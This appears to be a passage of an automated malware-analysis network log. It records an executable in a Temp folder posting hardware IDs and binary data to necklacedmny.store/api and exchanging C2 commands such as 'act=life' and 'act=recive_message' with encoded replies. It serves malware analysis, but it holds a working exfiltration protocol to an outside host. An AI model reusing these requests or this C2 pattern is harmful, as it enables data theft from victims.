{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U7sNyu0QVEoDbCbbEyo48BNeh3w6%2F51cuIU%2FInUtrcFa2KwAZAWr7IC6qjkNVyHxTe15cKSwmauxuMsp7WSNkIKRS8gFpEXB9wLDiIFrF9CZLHoMoc%2BnA%2BjnCePW02jhXDfGGSE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad3466c15e99b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1307&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16023&delivery_rate=2198936&cwnd=57&unsent_bytes=0&cid=d2b58476e6b8cc4e&ts=796&x=0"
2024-10-30 10:47:06 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	58223	188.114.96.3	443	5796	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:09 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20406 Host: necklacedmny.store
2024-10-30 10:47:09 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:09 UTC	5075	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b6 b9 fe 28 58 da f6 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 36 d7 17 05 4b db 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e6 fa a3 60 69 db 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 db 5c 5f 14 2c 6d fb 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 9b eb 8f 82 a5 6d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 73 7d 51 b0 b4 ed a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 6d Data Ascii: (X6K~`iO\_,mi`m?ls}Qm
2024-10-30 10:47:10 UTC	1013	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=17fbikjtoauvejbsp9o9u7v5ug; expires=Sun, 23 Feb 2025 04:33:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XWzdfzTph5lqXFe%2FQv6EpLzkgWrcPtKWvVTo7vR8nMQcm3Ldv6pTzGEI2W2QfQ6RHlYeY8VWXh1u3s09D77sw0Y4Ktr0kwg95jkP3J4hCtN0r7zmYmVt1HksanvuewyTq1Mh7kk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad35eaa6d6c70-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1811&sent=11&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21370&delivery_rate=1582513&cwnd=251&unsent_bytes=0&cid=2d538d5b3ac8a5f8&ts=678&x=0"
2024-10-30 10:47:10 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	58239	188.114.96.3	443	5796	C:\Users\user\AppData\Local\Temp\1002596001\100bc97ff1.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:14 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1246 Host: necklacedmny.store
2024-10-30 10:47:14 UTC	1246	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 43 31 34 31 43 32 35 31 37 38 31 32 46 35 43 37 39 34 46 45 44 44 46 34 30 44 34 34 46 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"8C141C2517812F5C794FEDDF40D44F2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 10:47:14 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iu3itgtpen16engs80l57l0voe; expires=Sun, 23 Feb 2025 04:33:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2ZAUfPp%2BK1voLqNiXeuO0yKTFr2Q%2BzaQj2fFx5xlojiia2PiRKrlNm7JLoZ1zVu8cbj0eXEagsltjpE6ekIaISLNnIsDTd1v9siuweKTrWYv32tqSA0t%2FwwQtdPApADs2P8ECxM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad37adb15e83f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1295&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2165&delivery_rate=2241486&cwnd=251&unsent_bytes=0&cid=b509bf920e86a4c7&ts=481&x=0"
2024-10-30 10:47:14 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 10:47:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.7	58247	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:40 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 10:47:40 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 10:47:40 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qnr2kqkn19svpl6chaa721ugof; expires=Sun, 23 Feb 2025 04:34:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WADK6QvlYMp3idAPcBh5eIQotA3UCIxNX2R8Qd4RcB5hUMkAGURrVcJ0YgFzWBrAqiR%2FXN6Vdn68KLCh5gJWGi4nfovVyyDMqjSYYC70Fbl2yo4YpGyCliFV%2FQIbe%2B1QgA%2BLTxs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad41c99a9839e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1358&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=2110787&cwnd=251&unsent_bytes=0&cid=4d24d3530ca76a64&ts=522&x=0"
2024-10-30 10:47:40 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 10:47:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.7	58248	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:47:49 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 10:47:49 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 10:47:49 UTC	1019	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:47:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ohg3shq6ko49vbbg8dccp4j5rp; expires=Sun, 23 Feb 2025 04:34:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KhsJKxLw%2FLcszhtGG5TxfNOA5%2FFipIGyfUGgouvXgk65IliFWl5LIuO%2FfoHsHG82cLQ01lzpQNvGQLjwWDkH3Z8S8glDH4vJveMrNaU%2BZY%2F05LyLsBWa44DvKPkFLHO%2F0qMK2TQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8daad4560ef0c86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1837563&cwnd=252&unsent_bytes=0&cid=1f1bc1c95f11012f&ts=889&x=0"
2024-10-30 10:47:49 UTC	350	IN	Data Raw: 34 64 61 0d 0a 47 46 30 4b 30 46 73 58 51 6d 75 4f 59 4e 39 56 63 77 55 77 38 58 68 4b 4f 42 64 46 57 6f 4a 42 6b 63 62 74 31 33 54 76 49 6e 35 6a 66 33 7a 79 59 53 4e 75 53 66 30 46 2f 57 38 48 64 30 57 55 56 47 68 5a 63 32 64 67 35 43 44 39 74 59 6a 37 56 70 6c 50 58 43 49 37 61 37 77 6f 63 6d 35 4a 36 78 6a 39 62 79 68 2b 45 70 51 57 61 41 49 31 49 44 44 67 49 50 32 6b 6a 4c 77 62 6e 30 34 64 63 44 46 74 75 44 35 30 4a 67 72 69 44 62 6f 77 46 6d 52 61 6e 78 45 6e 55 48 70 6e 64 71 41 6b 36 2b 54 58 39 54 6d 4b 56 68 39 56 50 48 6d 37 65 57 70 75 45 4b 77 46 73 58 64 4a 4a 31 47 55 47 69 5a 65 63 79 34 79 36 69 6e 31 70 59 6d 39 42 49 5a 45 46 6e 41 2f 62 72 6b 30 66 54 49 48 36 41 71 78 4e 68 78 6b 45 74 31 61 4c 30 49 31 66 33 69 7a 45 66 43 31 6e 71 Data Ascii: 4daGF0K0FsXQmuOYN9VcwUw8XhKOBdFWoJBkcbt13TvIn5jf3zyYSNuSf0F/W8Hd0WUVGhZc2dg5CD9tYj7VplPXCI7a7wocm5J6xj9byh+EpQWaAI1IDDgIP2kjLwbn04dcDFtuD50JgriDbowFmRanxEnUHpndqAk6+TX9TmKVh9VPHm7eWpuEKwFsXdJJ1GUGiZecy4y6in1pYm9BIZEFnA/brk0fTIH6AqxNhxkEt1aL0I1f3izEfC1nq
2024-10-30 10:47:49 UTC	899	IN	Data Raw: 72 77 34 65 43 41 62 35 41 6d 32 4d 67 4e 73 57 35 34 58 4b 46 64 2f 4b 44 76 67 4a 50 6d 75 67 4c 38 53 67 45 30 61 65 6a 38 6f 2f 48 6c 79 4f 45 6d 30 51 70 34 79 41 57 42 65 68 56 67 53 47 6d 70 70 49 61 41 6b 2f 2b 54 58 39 52 36 49 51 78 39 78 4d 47 75 36 4d 6d 63 67 47 2b 6f 50 75 43 55 58 59 6c 79 5a 47 54 70 51 65 79 45 37 36 53 6a 36 6f 59 69 78 56 73 4d 41 47 32 4a 2f 4d 50 49 59 65 43 73 46 35 68 57 39 64 77 34 70 53 39 4d 64 4a 42 6f 74 5a 7a 7a 68 4a 2f 4b 67 67 62 73 53 67 55 59 53 64 7a 42 75 75 44 6c 79 4b 67 48 6b 41 37 41 38 48 6d 64 58 6e 68 34 75 56 6e 51 69 65 4b 35 6a 39 4c 7a 50 37 56 61 6a 52 78 39 6f 66 56 32 78 4e 33 73 6e 48 36 77 64 38 79 35 52 59 46 37 54 51 6d 68 55 63 43 67 71 34 54 48 32 71 70 32 35 45 34 74 4e 48 33 51 2f Data Ascii: rw4eCAb5Am2MgNsW54XKFd/KDvgJPmugL8SgE0aej8o/HlyOEm0Qp4yAWBehVgSGmppIaAk/+TX9R6IQx9xMGu6MmcgG+oPuCUXYlyZGTpQeyE76Sj6oYixVsMAG2J/MPIYeCsF5hW9dw4pS9MdJBotZzzhJ/KggbsSgUYSdzBuuDlyKgHkA7A8HmdXnh4uVnQieK5j9LzP7VajRx9ofV2xN3snH6wd8y5RYF7TQmhUcCgq4TH2qp25E4tNH3Q/
2024-10-30 10:47:49 UTC	1369	IN	Data Raw: 31 38 39 38 0d 0a 59 39 65 43 38 41 35 51 75 76 50 52 31 70 51 4a 34 51 4c 56 52 35 49 6a 66 67 49 76 4b 71 68 62 35 57 77 77 41 62 59 6e 38 77 38 68 5a 34 4d 42 76 6d 43 61 78 31 4a 47 52 63 6e 52 30 2b 47 6d 70 70 49 61 41 6b 2f 2b 54 58 39 52 32 4c 54 42 42 36 4f 58 71 38 4e 6d 63 71 47 2b 67 4d 75 54 73 66 62 6c 2b 63 48 7a 70 65 64 54 55 35 35 53 54 39 71 5a 32 77 56 73 4d 41 47 32 4a 2f 4d 50 49 44 51 53 63 5a 2f 51 58 2f 41 68 4a 70 58 4a 51 4d 61 45 55 37 50 6e 6a 6e 4c 37 50 38 7a 37 59 61 67 45 6b 5a 64 53 31 69 76 6a 68 6e 4a 77 44 6c 43 4c 77 35 48 6d 78 65 6c 67 67 6a 56 58 30 6f 4f 65 30 75 2b 4b 43 50 39 56 6a 4e 52 77 51 36 5a 79 69 54 4e 48 6f 79 43 76 31 41 69 44 51 66 61 56 57 46 57 6a 63 55 62 47 63 2f 37 47 4f 72 35 49 36 35 47 6f 78 Data Ascii: 1898Y9eC8A5QuvPR1pQJ4QLVR5IjfgIvKqhb5WwwAbYn8w8hZ4MBvmCax1JGRcnR0+GmppIaAk/+TX9R2LTBB6OXq8NmcqG+gMuTsfbl+cHzpedTU55ST9qZ2wVsMAG2J/MPIDQScZ/QX/AhJpXJQMaEU7PnjnL7P8z7YagEkZdS1ivjhnJwDlCLw5HmxelggjVX0oOe0u+KCP9VjNRwQ6ZyiTNHoyCv1AiDQfaVWFWjcUbGc/7GOr5I65Gox
2024-10-30 10:47:49 UTC	1369	IN	Data Raw: 47 2b 35 4d 6e 45 6b 43 65 45 4a 73 7a 6b 59 61 31 71 66 48 54 70 58 63 43 38 79 36 53 62 2f 71 59 79 6e 46 59 77 41 55 6a 6f 34 63 50 4a 68 4e 51 63 36 32 79 48 39 4b 46 39 2b 45 70 51 57 61 41 49 31 4a 6a 44 6e 4c 66 65 32 67 61 63 59 69 6b 41 61 63 6a 64 76 76 6a 64 37 4d 67 48 74 41 72 4d 34 47 57 35 57 6b 68 34 73 56 6e 4a 6e 64 71 41 6b 36 2b 54 58 39 54 36 4f 57 67 59 34 45 57 4f 79 50 6d 55 32 45 71 77 64 38 79 35 52 59 46 37 54 51 6d 68 65 66 69 30 78 34 79 72 33 71 59 2b 38 47 59 52 49 45 58 49 74 61 62 67 72 63 53 55 49 34 77 69 35 50 78 31 6f 58 70 63 49 49 78 6f 37 5a 7a 2f 34 59 36 76 6b 72 37 34 41 72 6c 49 4f 4f 69 41 6d 71 33 6c 79 4c 45 6d 30 51 72 51 37 45 47 5a 59 6c 52 45 74 56 33 55 69 4d 75 63 76 38 36 53 4d 73 78 43 41 53 42 52 32 Data Ascii: G+5MnEkCeEJszkYa1qfHTpXcC8y6Sb/qYynFYwAUjo4cPJhNQc62yH9KF9+EpQWaAI1JjDnLfe2gacYikAacjdvvjd7MgHtArM4GW5Wkh4sVnJndqAk6+TX9T6OWgY4EWOyPmU2Eqwd8y5RYF7TQmhefi0x4yr3qY+8GYRIEXItabgrcSUI4wi5Px1oXpcIIxo7Zz/4Y6vkr74ArlIOOiAmq3lyLEm0QrQ7EGZYlREtV3UiMucv86SMsxCASBR2
2024-10-30 10:47:49 UTC	1369	IN	Data Raw: 5a 77 4b 41 4c 71 44 4c 77 78 48 57 6f 53 33 56 6f 76 51 6a 56 2f 65 4d 63 35 2f 71 4b 59 70 43 4f 4b 51 45 30 36 49 43 61 72 65 58 49 73 53 62 52 43 73 44 73 62 61 6c 65 58 45 69 39 5a 64 43 73 38 37 53 37 33 72 59 75 77 42 4a 39 47 45 6e 6f 77 5a 72 30 31 5a 79 34 4d 37 41 37 39 65 56 46 67 53 74 4e 43 61 47 74 69 4a 33 6a 2f 62 65 72 6b 69 4c 6c 57 31 51 41 54 64 79 31 6b 76 54 6c 30 49 77 33 6e 42 62 73 78 45 47 52 58 6b 42 38 75 57 33 55 72 4d 75 63 72 2b 61 71 43 73 78 4b 4c 52 6c 77 30 66 32 2b 71 65 53 31 67 4f 2b 45 4d 74 44 51 58 61 6b 53 37 4b 32 68 46 4f 7a 35 34 35 79 2b 7a 2f 4d 2b 78 48 59 56 4d 47 58 49 36 61 62 6f 7a 66 53 38 47 2f 67 4f 79 50 68 5a 73 58 35 77 55 4c 56 52 6e 49 44 50 72 4b 2f 71 71 69 66 56 59 7a 55 63 45 4f 6d 63 6f 68 Data Ascii: ZwKALqDLwxHWoS3VovQjV/eMc5/qKYpCOKQE06ICareXIsSbRCsDsbaleXEi9ZdCs87S73rYuwBJ9GEnowZr01Zy4M7A79eVFgStNCaGtiJ3j/berkiLlW1QATdy1kvTl0Iw3nBbsxEGRXkB8uW3UrMucr+aqCsxKLRlw0f2+qeS1gO+EMtDQXakS7K2hFOz545y+z/M+xHYVMGXI6abozfS8G/gOyPhZsX5wULVRnIDPrK/qqifVYzUcEOmcoh
2024-10-30 10:47:49 UTC	1369	IN	Data Raw: 4f 35 41 61 7a 4a 52 42 6f 45 74 31 61 4c 30 49 31 66 33 6a 52 4e 66 53 6a 67 50 63 2f 69 6c 73 64 63 44 78 6a 76 6e 6c 71 62 68 43 73 42 62 46 33 53 53 64 66 6e 78 63 73 53 48 6b 6e 4f 4f 6b 6b 2b 62 61 41 75 68 75 4f 51 42 6c 6f 50 6e 71 39 4d 6e 41 6a 44 65 4d 4e 73 54 38 62 4a 78 7a 54 48 54 41 61 4c 57 63 55 34 7a 4c 35 35 71 69 76 41 49 70 4d 44 58 45 79 5a 50 49 6d 4f 7a 6c 4a 36 77 37 39 62 31 46 6e 55 35 34 49 4c 56 74 2f 4c 54 58 6f 4c 50 61 68 67 4c 45 53 68 6b 34 4f 64 44 42 6f 74 44 4a 30 4a 51 72 6e 43 4c 4d 2b 41 79 63 63 30 78 30 77 47 69 31 6e 45 76 73 69 2f 71 6a 4e 6d 78 32 62 52 31 35 62 4d 57 4f 31 4e 57 4e 67 46 71 49 62 2f 54 41 64 4a 77 72 54 45 79 5a 57 64 69 41 77 36 43 62 7a 72 34 2b 36 48 49 4e 48 44 6e 41 7a 59 71 41 32 64 69 Data Ascii: O5AazJRBoEt1aL0I1f3jRNfSjgPc/ilsdcDxjvnlqbhCsBbF3SSdfnxcsSHknOOkk+baAuhuOQBloPnq9MnAjDeMNsT8bJxzTHTAaLWcU4zL55qivAIpMDXEyZPImOzlJ6w79b1FnU54ILVt/LTXoLPahgLEShk4OdDBotDJ0JQrnCLM+Aycc0x0wGi1nEvsi/qjNmx2bR15bMWO1NWNgFqIb/TAdJwrTEyZWdiAw6Cbzr4+6HINHDnAzYqA2di
2024-10-30 10:47:49 UTC	828	IN	Data Raw: 38 79 35 52 59 46 37 54 51 6d 68 61 63 53 73 37 35 79 33 38 71 59 43 79 48 59 4a 4b 45 6d 67 77 62 62 6f 31 66 53 30 62 35 67 69 76 50 68 68 71 58 4a 73 49 4b 78 6f 37 5a 7a 2f 34 59 36 76 6b 76 62 38 56 67 56 59 52 64 58 39 33 2f 43 41 31 4a 77 57 73 57 76 30 6c 41 32 64 5a 6b 78 30 6d 53 48 51 76 4e 2b 6f 6a 39 61 2b 46 74 68 2b 4a 54 68 56 38 50 6d 57 7a 4f 48 55 6c 43 65 55 51 73 48 64 66 4a 31 57 4c 57 6e 41 61 51 69 73 7a 30 53 44 6c 35 4a 44 37 44 38 31 48 45 44 70 6e 4b 4c 4d 72 65 43 67 4e 37 41 2b 37 50 42 42 6d 55 5a 4d 61 4b 31 70 77 4c 44 66 6d 4a 50 36 75 68 72 77 45 68 55 51 4f 65 6a 4e 73 38 6e 63 31 4a 78 47 73 57 76 30 48 45 6d 78 65 6b 78 63 39 47 6d 70 70 49 61 41 6b 2f 2b 54 58 39 52 36 47 53 78 70 78 50 47 75 38 4d 6e 38 76 42 75 59 Data Ascii: 8y5RYF7TQmhacSs75y38qYCyHYJKEmgwbbo1fS0b5givPhhqXJsIKxo7Zz/4Y6vkvb8VgVYRdX93/CA1JwWsWv0lA2dZkx0mSHQvN+oj9a+Fth+JThV8PmWzOHUlCeUQsHdfJ1WLWnAaQisz0SDl5JD7D81HEDpnKLMreCgN7A+7PBBmUZMaK1pwLDfmJP6uhrwEhUQOejNs8nc1JxGsWv0HEmxekxc9GmppIaAk/+TX9R6GSxpxPGu8Mn8vBuY
2024-10-30 10:47:49 UTC	1369	IN	Data Raw: 32 32 32 38 0d 0a 2b 77 63 65 7a 71 6c 76 55 41 7a 52 68 4f 4e 48 39 36 38 6d 45 31 5a 77 72 2b 45 4c 73 30 42 32 51 56 72 53 51 72 54 48 67 6f 4d 2b 45 64 7a 59 71 43 74 42 57 44 41 69 31 73 4d 6e 69 78 50 48 49 65 4e 2b 49 46 71 54 41 66 59 56 4c 54 56 47 68 56 4e 58 38 42 6f 47 75 7a 6d 38 48 31 44 73 30 59 58 45 38 38 5a 72 77 2b 59 7a 46 45 7a 78 53 77 4f 42 70 6d 45 74 31 61 4c 68 6f 74 64 33 61 67 4a 2b 4c 6b 31 2b 56 45 31 68 56 50 4c 57 38 36 72 58 64 73 59 42 2b 73 57 75 39 35 55 58 55 53 79 31 70 76 56 48 67 6d 4f 2b 34 67 34 62 61 4a 74 67 43 4f 42 79 4a 45 48 6d 57 35 4e 58 67 76 41 74 49 38 6e 44 6f 61 61 31 2b 63 45 52 5a 6b 59 43 51 32 37 69 54 6c 74 63 2f 37 56 6f 49 41 52 45 4e 2f 49 50 49 47 4f 32 41 52 72 46 72 39 41 68 4a 70 58 4a 51 Data Ascii: 2228+wcezqlvUAzRhONH968mE1Zwr+ELs0B2QVrSQrTHgoM+EdzYqCtBWDAi1sMnixPHIeN+IFqTAfYVLTVGhVNX8BoGuzm8H1Ds0YXE88Zrw+YzFEzxSwOBpmEt1aLhotd3agJ+Lk1+VE1hVPLW86rXdsYB+sWu95UXUSy1pvVHgmO+4g4baJtgCOByJEHmW5NXgvAtI8nDoaa1+cERZkYCQ27iTltc/7VoIAREN/IPIGO2ARrFr9AhJpXJQ
2024-10-30 10:47:49 UTC	1369	IN	Data Raw: 32 6c 34 38 6d 4f 72 35 4d 69 32 42 4a 39 47 48 32 77 38 4c 34 77 48 55 44 63 4b 2f 41 53 2b 43 53 39 4d 58 70 55 64 4d 6c 31 7a 41 52 69 67 62 62 4f 72 7a 2b 30 76 7a 51 68 63 52 58 45 6f 71 6e 6b 74 59 44 7a 76 44 4c 4d 77 42 33 59 66 74 67 30 72 53 6e 4d 6b 65 4b 35 6a 39 65 54 58 35 56 6a 4e 52 41 30 36 5a 7a 6a 67 59 69 42 7a 58 72 78 51 6f 6e 6b 49 4a 30 54 54 51 6e 6f 55 4e 54 56 34 75 47 4f 30 70 35 32 6e 45 49 35 57 48 7a 30 42 56 70 51 36 5a 43 6f 6f 34 52 4b 36 43 53 39 79 55 5a 30 55 4c 30 78 6b 5a 33 61 67 4c 4c 50 38 74 76 56 65 77 55 59 66 62 48 39 58 2f 48 6c 74 59 46 47 73 4e 37 34 35 48 32 42 45 67 6c 63 4f 57 57 51 74 47 65 30 7a 39 4f 54 42 39 52 44 4e 47 45 38 30 66 32 79 6a 65 53 31 77 57 37 64 58 37 6d 42 42 4e 55 33 64 41 32 68 4d Data Ascii: 2l48mOr5Mi2BJ9GH2w8L4wHUDcK/AS+CS9MXpUdMl1zARigbbOrz+0vzQhcRXEoqnktYDzvDLMwB3Yftg0rSnMkeK5j9eTX5VjNRA06ZzjgYiBzXrxQonkIJ0TTQnoUNTV4uGO0p52nEI5WHz0BVpQ6ZCoo4RK6CS9yUZ0UL0xkZ3agLLP8tvVewUYfbH9X/HltYFGsN745H2BEglcOWWQtGe0z9OTB9RDNGE80f2yjeS1wW7dX7mBBNU3dA2hM

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	58249	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
